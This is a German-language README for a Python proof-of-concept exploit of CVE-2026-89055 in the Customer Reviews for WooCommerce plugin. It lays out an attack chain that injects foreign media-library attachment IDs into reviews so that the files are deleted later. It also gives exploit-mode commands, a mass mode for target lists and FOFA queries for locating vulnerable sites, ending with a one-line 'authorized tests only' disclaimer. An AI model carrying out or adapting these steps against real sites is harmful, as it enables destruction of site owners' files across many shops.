CVE-2026-89055 — Customer Reviews for WooCommerce (CusRev) Authorization Bypass

Python 3 PoC für CVE-2026-89055 in Customer Reviews for WooCommerce (customer-reviews-woocommerce / Ivole CusRev).

Beschreibung (PoCbit / GitHub)

CVE-2026-89055 — Customer Reviews for WooCommerce (CusRev) ≤ 5.120.0 ist anfällig für fehlende Autorisierung beim öffentlichen AJAX-Handler des lokalen Bewertungsformulars (cr_local_forms_submit). Jeder mit einem Kundenbewertungslink (/cusrev/{13-hex formId}/ aus der Bestellbestätigungs-E-Mail) kann ein gültiges crSubmitNonce erhalten und Bewertungen einreichen, deren items[].media-Array beliebige Media-Library-Anhang-IDs (Produktbilder, Logos, PDFs usw.) enthalten kann. Diese IDs werden in den Review-Kommentar-Metas gespeichert; wenn die Bewertung dauerhaft gelöscht wird (Papierkorb-Bereinigung / Spam-Bereinigung), ruft delete_review_media_attachments() wp_delete_attachment() für jede verknüpfte ID ohne Eigentumsprüfung auf. CVSS 3.1 9.1 Kritisch (C:N/I:H/A:H). Behoben in > 5.120.0.

PoCbit

Community-Katalog: https://pocbit.org/pocs/

Angriffskette

1. Öffne {site}/cusrev/{formId}/ → lies crSubmitNonce + Produkt-data-itemid-Werte aus.
2. POST an admin-ajax.php: action=cr_local_forms_submit mit items[n][media][]=<victim_attachment_id>.
3. Das Plugin erstellt/aktualisiert WooCommerce-Review-Kommentar-Metas (ivole_reviews_locl_img / Video).
4. Wenn der Review-Kommentar dauerhaft entfernt wird, löscht das eingehängte delete_review_media_attachments jede verknüpfte Anhangsdatei.

Dieses PoC führt die Schritte 1–2 auf autorisierten Zielen durch. Schritt 4 ist ein Site-/Admin-Lebenszyklusereignis (dokumentiere in der Ausgabe als chain_note).

Anforderungen

pip install -r requirements.txt

Python 3.8+.

Verwendung

# Plugin version + optional live form (nonce + item IDs)
python poc.py -u https://shop.example --mode check --form-url /cusrev/abc123def4567/

# Inject foreign attachment ID into first product line item
python poc.py -u https://shop.example --mode exploit \
  --form-id abc123def4567 --attachment-id 123 \
  --verify-url https://shop.example/wp-content/uploads/2026/01/product.jpg

# Mass: base URL per line, optional form path after |
python poc.py --list targets.example.txt --mode check -j 20 --quiet

Ausgabe

FOFA

body="/wp-content/plugins/customer-reviews-woocommerce/"
body="/cusrev/"

Rechtliches

Nur autorisierte Tests.